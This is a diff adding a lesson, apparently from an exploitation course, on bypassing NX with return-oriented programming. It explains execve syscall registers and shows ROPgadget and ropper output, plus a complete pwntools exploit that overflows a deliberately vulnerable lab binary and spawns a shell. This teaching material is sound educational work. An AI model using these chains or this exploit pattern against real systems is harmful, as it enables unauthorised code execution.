@@ -179,18 +179,292 @@ Linux syscalls.
179
179
180
180
## Linux Syscalls
181
181
182
- talk about
183
- http://syscalls.kernelgrok.com/
184
- int 0x80
182
+ Linux system calls or syscalls are interfaces between the user space application
183
+ and the Linux kernel. Functionality performed by the Linux kernel can be invoked
184
+ by placing parameters into the right registers and passing control to the
185
+ interrupt vector 0x80 using the ` int 0x80 ` opcode. Typically, this is not done
186
+ by the program directly but by calling glibc wrappers.
187
+
188
+ We will not go too deep into describing how the system calls work and go
189
+ straight to the system call that interests us the most: execve. The execve
190
+ system call runs an executable file within the context of the current process.
191
+
192
+ If we take a look at the libc function, we get the following signature:
193
+
194
+ ` int execve(char const *path, char const *argv[], char const *envp[]); `
195
+
196
+ Typically, we invoke this function in the following manner to spawn shells.
197
+
198
+ ` execve("/bin/sh", {0}, {0}) `
199
+
200
+ If we take a look at the syscall reference located [ here] [ 6 ] , we can see that
201
+ some parameters are expected in the eax, ebx, ecx, and edx registers.
202
+
203
+ 1 . eax - holds the number of the syscall to be called
204
+ 2 . ebx - a pointer to the string containing the file name to be executed
205
+ 3 . ecx - a pointer to the array of string pointers representing argv
206
+ 4 . edx - a pointer to the array of string pointers representing envp
207
+
208
+ For our purposes, the value that each of the registers should contain are:
209
+
210
+ ```
211
+ eax = 0xb
212
+ ebx = "/bin/sh"
213
+ ecx = memory address -> 0
214
+ edx = memory address -> 0
215
+ ```
185
216
186
217
## Generating the ROP Chain
187
218
219
+ Automatically finding the ROP gadgets to perform the ` execve ` syscall can be
220
+ done by ROPgadget. It actually even generates the the output as a python script
221
+ that you can embed into the skeleton.
222
+
223
+ ``` shell
224
+ ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ ROPgadget --binary 1_staticnx --ropchain
225
+ ... snip ...
226
+ ROP chain generation
227
+ ===========================================================
228
+
229
+ - Step 1 -- Write-what-where gadgets
230
+
231
+ [+] Gadget found: 0x8050fb5 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret
232
+ [+] Gadget found: 0x8048453 pop esi ; ret
233
+ [+] Gadget found: 0x80484a0 pop edi ; ret
234
+ [-] Can' t find the ' xor edi, edi' gadget. Try with another ' mov [r], r'
235
+
236
+ [+] Gadget found: 0x805495b mov dword ptr [edx], eax ; ret
237
+ [+] Gadget found: 0x807299a pop edx ; ret
238
+ [+] Gadget found: 0x80bbb46 pop eax ; ret
239
+ [+] Gadget found: 0x80493e3 xor eax, eax ; ret
240
+
241
+ - Step 2 -- Init syscall number gadgets
242
+
243
+ [+] Gadget found: 0x80493e3 xor eax, eax ; ret
244
+ [+] Gadget found: 0x807e1df inc eax ; ret
245
+
246
+ - Step 3 -- Init syscall arguments gadgets
247
+
248
+ [+] Gadget found: 0x80481d1 pop ebx ; ret
249
+ [+] Gadget found: 0x80e2fc9 pop ecx ; ret
250
+ [+] Gadget found: 0x807299a pop edx ; ret
251
+
252
+ - Step 4 -- Syscall gadget
253
+
254
+ [+] Gadget found: 0x8070605 int 0x80
255
+
256
+ - Step 5 -- Build the ROP chain
257
+
258
+ #!/usr/bin/env python2
259
+ # execve generated by ROPgadget
260
+
261
+ from struct import pack
262
+
263
+ # Padding goes here
264
+ p = ' '
265
+
266
+ p += pack(' < I' , 0x0807299a) # pop edx ; ret
267
+ p += pack(' < I' , 0x080ee060) # @ .data
268
+ p += pack(' < I' , 0x080bbb46) # pop eax ; ret
269
+ p += ' /bin'
270
+ p += pack(' < I' , 0x0805495b) # mov dword ptr [edx], eax ; ret
271
+ p += pack(' < I' , 0x0807299a) # pop edx ; ret
272
+ p += pack(' < I' , 0x080ee064) # @ .data + 4
273
+ p += pack(' < I' , 0x080bbb46) # pop eax ; ret
274
+ p += ' //sh'
275
+ p += pack(' < I' , 0x0805495b) # mov dword ptr [edx], eax ; ret
276
+ p += pack(' < I' , 0x0807299a) # pop edx ; ret
277
+ p += pack(' < I' , 0x080ee068) # @ .data + 8
278
+ p += pack(' < I' , 0x080493e3) # xor eax, eax ; ret
279
+ p += pack(' < I' , 0x0805495b) # mov dword ptr [edx], eax ; ret
280
+ p += pack(' < I' , 0x080481d1) # pop ebx ; ret
281
+ p += pack(' < I' , 0x080ee060) # @ .data
282
+ p += pack(' < I' , 0x080e2fc9) # pop ecx ; ret
283
+ p += pack(' < I' , 0x080ee068) # @ .data + 8
284
+ p += pack(' < I' , 0x0807299a) # pop edx ; ret
285
+ p += pack(' < I' , 0x080ee068) # @ .data + 8
286
+ p += pack(' < I' , 0x080493e3) # xor eax, eax ; ret
287
+ p += pack(' < I' , 0x0807e1df) # inc eax ; ret
288
+ p += pack(' < I' , 0x0807e1df) # inc eax ; ret
289
+ p += pack(' < I' , 0x0807e1df) # inc eax ; ret
290
+ p += pack(' < I' , 0x0807e1df) # inc eax ; ret
291
+ p += pack(' < I' , 0x0807e1df) # inc eax ; ret
292
+ p += pack(' < I' , 0x0807e1df) # inc eax ; ret
293
+ p += pack(' < I' , 0x0807e1df) # inc eax ; ret
294
+ p += pack(' < I' , 0x0807e1df) # inc eax ; ret
295
+ p += pack(' < I' , 0x0807e1df) # inc eax ; ret
296
+ p += pack(' < I' , 0x0807e1df) # inc eax ; ret
297
+ p += pack(' < I' , 0x0807e1df) # inc eax ; ret
298
+ p += pack(' < I' , 0x08070605) # int 0x80
299
+ ```
300
+
301
+ Integrating the generated code is as easy as copy and pasting into the [final
302
+ exploit][4].
303
+
304
+
305
+ ```python
306
+ #!/usr/bin/python
307
+
308
+ from pwn import *
309
+
310
+ from struct import pack
311
+
312
+ # Padding goes here
313
+ rop = ' '
314
+
315
+ rop += pack(' < I' , 0x0807299a) # pop edx ; ret
316
+ rop += pack(' < I' , 0x080ee060) # @ .data
317
+ rop += pack(' < I' , 0x080bbb46) # pop eax ; ret
318
+ rop += ' /bin'
319
+ rop += pack(' < I' , 0x0805495b) # mov dword ptr [edx], eax ; ret
320
+ rop += pack(' < I' , 0x0807299a) # pop edx ; ret
321
+ rop += pack(' < I' , 0x080ee064) # @ .data + 4
322
+ rop += pack(' < I' , 0x080bbb46) # pop eax ; ret
323
+ rop += ' //sh'
324
+ rop += pack(' < I' , 0x0805495b) # mov dword ptr [edx], eax ; ret
325
+ rop += pack(' < I' , 0x0807299a) # pop edx ; ret
326
+ rop += pack(' < I' , 0x080ee068) # @ .data + 8
327
+ rop += pack(' < I' , 0x080493e3) # xor eax, eax ; ret
328
+ rop += pack(' < I' , 0x0805495b) # mov dword ptr [edx], eax ; ret
329
+ rop += pack(' < I' , 0x080481d1) # pop ebx ; ret
330
+ rop += pack(' < I' , 0x080ee060) # @ .data
331
+ rop += pack(' < I' , 0x080e2fc9) # pop ecx ; ret
332
+ rop += pack(' < I' , 0x080ee068) # @ .data + 8
333
+ rop += pack(' < I' , 0x0807299a) # pop edx ; ret
334
+ rop += pack(' < I' , 0x080ee068) # @ .data + 8
335
+ rop += pack(' < I' , 0x080493e3) # xor eax, eax ; ret
336
+ rop += pack(' < I' , 0x0807e1df) # inc eax ; ret
337
+ rop += pack(' < I' , 0x0807e1df) # inc eax ; ret
338
+ rop += pack(' < I' , 0x0807e1df) # inc eax ; ret
339
+ rop += pack(' < I' , 0x0807e1df) # inc eax ; ret
340
+ rop += pack(' < I' , 0x0807e1df) # inc eax ; ret
341
+ rop += pack(' < I' , 0x0807e1df) # inc eax ; ret
342
+ rop += pack(' < I' , 0x0807e1df) # inc eax ; ret
343
+ rop += pack(' < I' , 0x0807e1df) # inc eax ; ret
344
+ rop += pack(' < I' , 0x0807e1df) # inc eax ; ret
345
+ rop += pack(' < I' , 0x0807e1df) # inc eax ; ret
346
+ rop += pack(' < I' , 0x0807e1df) # inc eax ; ret
347
+ rop += pack(' < I' , 0x08070605) # int 0x80
348
+
349
+ def main():
350
+ # Start the process
351
+ p = process("../build/1_staticnx")
352
+
353
+ # Craft the payload
354
+ payload = "A"*148 + rop
355
+ payload = payload.ljust(1000, "\x00")
188
356
357
+ # Send the payload
358
+ p.send(payload)
359
+
360
+ # Transfer interaction to the user
361
+ p.interactive()
362
+
363
+ if __name__ == ' __main__' :
364
+ main()
365
+ ```
366
+
367
+ When we run the exploit, we get our shell.
368
+
369
+
370
+ ```shell
371
+ ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/scripts$ python 2_ropexploit.py
372
+ [+] Starting local process ' ../build/1_staticnx' : Done
373
+ [*] Switching to interactive mode
374
+ This is a big vulnerable example!
375
+ I can print many things: deadbeef, Test String, 42
376
+ Writing to STDOUT
377
+ Reading from STDIN
378
+ $ ls -la
379
+ total 16
380
+ drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 12 20:31 .
381
+ drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 2017 ..
382
+ -rw-rw-r-- 1 ubuntu ubuntu 422 Jan 12 06:03 1_skeleton.py
383
+ -rw-rw-r-- 1 ubuntu ubuntu 1897 Jan 12 20:31 2_ropexploit.py
384
+ $
385
+ [*] Stopped program ' ../build/1_staticnx'
386
+ ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/scripts$
387
+ ```
189
388
190
389
## Exercises
191
390
192
391
### 6.1 Using Ropper to Generate ROP Chains
193
392
393
+ There are alternative tools to ROPgadget that perform gadget searching and
394
+ automatic chain generation. One such tool is ropper. You can generate an execve
395
+ rop chain with the following command.
396
+
397
+ ```shell
398
+ ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ ropper --file 1_staticnx --chain execve
399
+ [INFO] Load gadgets for section: LOAD
400
+ [LOAD] loading... 100%
401
+ [LOAD] removing double gadgets... 100%
402
+
403
+ [INFO] ROPchain Generator for syscall execve:
404
+
405
+
406
+ [INFO]
407
+ write command into data section
408
+ eax 0xb
409
+ ebx address to cmd
410
+ ecx address to null
411
+ edx address to null
412
+
413
+
414
+ [INFO] Try to create chain which fills registers without delete content of previous filled registers
415
+ [*] Try permuation 1 / 24
416
+ [INFO] Look for syscall gadget
417
+
418
+ [INFO] syscall gadget found
419
+ [INFO] generating rop chain
420
+ #!/usr/bin/env python
421
+ # Generated by ropper ropchain generator #
422
+ from struct import pack
423
+
424
+ p = lambda x : pack(' I' , x)
425
+
426
+ IMAGE_BASE_0 = 0x08048000 # 1_staticnx
427
+ rebase_0 = lambda x : p(x + IMAGE_BASE_0)
428
+
429
+ rop = ' '
430
+
431
+ rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
432
+ rop += ' //bi'
433
+ rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
434
+ rop += rebase_0(0x000a6060)
435
+ rop += rebase_0(0x0000c95b) # 0x0805495b: mov dword ptr [edx], eax; ret;
436
+ rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
437
+ rop += ' n/sh'
438
+ rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
439
+ rop += rebase_0(0x000a6064)
440
+ rop += rebase_0(0x0000c95b) # 0x0805495b: mov dword ptr [edx], eax; ret;
441
+ rop += rebase_0(0x000036ca) # 0x0804b6ca: pop dword ptr [ecx]; ret;
442
+ rop += p(0x00000000)
443
+ rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
444
+ rop += p(0x00000000)
445
+ rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
446
+ rop += rebase_0(0x000a6068)
447
+ rop += rebase_0(0x0000c95b) # 0x0805495b: mov dword ptr [edx], eax; ret;
448
+ rop += rebase_0(0x000001d1) # 0x080481d1: pop ebx; ret;
449
+ rop += rebase_0(0x000a6060)
450
+ rop += rebase_0(0x0009afc9) # 0x080e2fc9: pop ecx; ret;
451
+ rop += rebase_0(0x000a6068)
452
+ rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
453
+ rop += rebase_0(0x000a6068)
454
+ rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
455
+ rop += p(0x0000000b)
456
+ rop += rebase_0(0x0002afa0) # 0x08072fa0: int 0x80; ret;
457
+ print rop
458
+ [INFO] rop chain generated!
459
+ ```
460
+
461
+ However, using this payload in a [modified script][5] does not work. Can you
462
+ figure out why and fix it?
463
+
194
464
[1]: ./src/1_staticnx.c
195
465
[2]: ./build/1_staticnx
196
466
[3]: ./scripts/1_skeleton.py
467
+ [4]: ./scripts/2_ropexploit.py
468
+ [5]: ./scripts/3_brokenrop.py
469
+ [6]: http://syscalls.kernelgrok.com/
470
+
0 commit comments